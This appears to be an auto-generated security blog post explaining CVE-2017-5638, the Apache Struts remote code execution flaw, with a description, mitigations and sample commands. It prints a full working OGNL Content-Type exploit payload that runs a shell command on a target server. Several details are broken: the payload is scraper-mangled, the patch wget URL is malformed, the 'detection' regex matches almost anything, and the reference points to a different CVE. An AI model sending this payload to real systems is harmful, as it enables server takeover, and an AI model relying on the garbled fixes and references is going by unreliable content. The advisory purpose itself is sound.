Apache Struts, Remote Code Execution, CVE-2017-5638 (Critical)

By /

Listen to this Post

How the Mentioned CVE Works:

CVE-2017-5638 is a critical vulnerability in Apache Struts 2, a popular framework for building Java web applications. The flaw exists in the Jakarta Multipart parser, which is used to handle file uploads. Attackers can exploit this vulnerability by sending a crafted Content-Type header in an HTTP request. This malformed header triggers an error in the parser, allowing the attacker to execute arbitrary code on the server. The vulnerability arises due to improper handling of exception messages, which can be manipulated to inject Object-Graph Navigation Language (OGNL) expressions. These expressions are then evaluated by the server, leading to remote code execution. This CVE gained notoriety after it was exploited in the Equifax data breach, compromising sensitive data of millions of users.

DailyCVE Form:

Platform: Apache Struts
Version: 2.3.5 to 2.3.31, 2.5 to 2.5.10
Vulnerability: Remote Code Execution
Severity: Critical
Date: March 7, 2017

What Undercode Say:

Exploitation:

  1. Craft an HTTP request with a malicious Content-Type header.
  2. Use OGNL expressions to execute commands on the server.

3. Example exploit payload:

POST /example.action HTTP/1.1
Host: target.com
Content-Type: %{(_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd='whoami').(iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(cmds=(iswin?{'cmd.exe','/c',cmd}:{'/bin/bash','-c',cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}

Protection:

  1. Update Apache Struts to version 2.3.32 or 2.5.10.1.

2. Apply patches provided by Apache.

  1. Use a Web Application Firewall (WAF) to filter malicious requests.
  2. Disable the Jakarta Multipart parser if not required.

5. Example patch application command:

wget https://struts.apache.org/downloads.cgistruts-2310

Analytics:

  1. Exploit-DB URL: CVE-2017-5638 Exploit
  2. NVD URL: CVE-2017-5638 Details
  3. Mitre URL: CVE-2017-5638 Mitre

Commands:

1. Check server logs for suspicious Content-Type headers:

grep -i "Content-Type" /var/log/apache2/access.log

2. Verify Struts version:

find / -name "struts.jar" -exec grep -H "Implementation-Version" {} \;

Code:

1. Example OGNL expression detection script:

import re
def detect_ognl(payload):
ognl_pattern = re.compile(r'(.?)')
return bool(ognl_pattern.search(payload))

URLs:

  1. Apache Struts Security Bulletin: Link
  2. Equifax Breach Report: Link
  3. OGNL Injection Guide: Link
    By following these steps, organizations can mitigate the risks associated with CVE-2017-5638 and protect their systems from exploitation.

References:

Reported By: https://www.cve.org/CVERecord?id=CVE-2024-50302
Extra Source Hub:
Undercode

Image Source:

Undercode AI DI v2Featured Image

Scroll to Top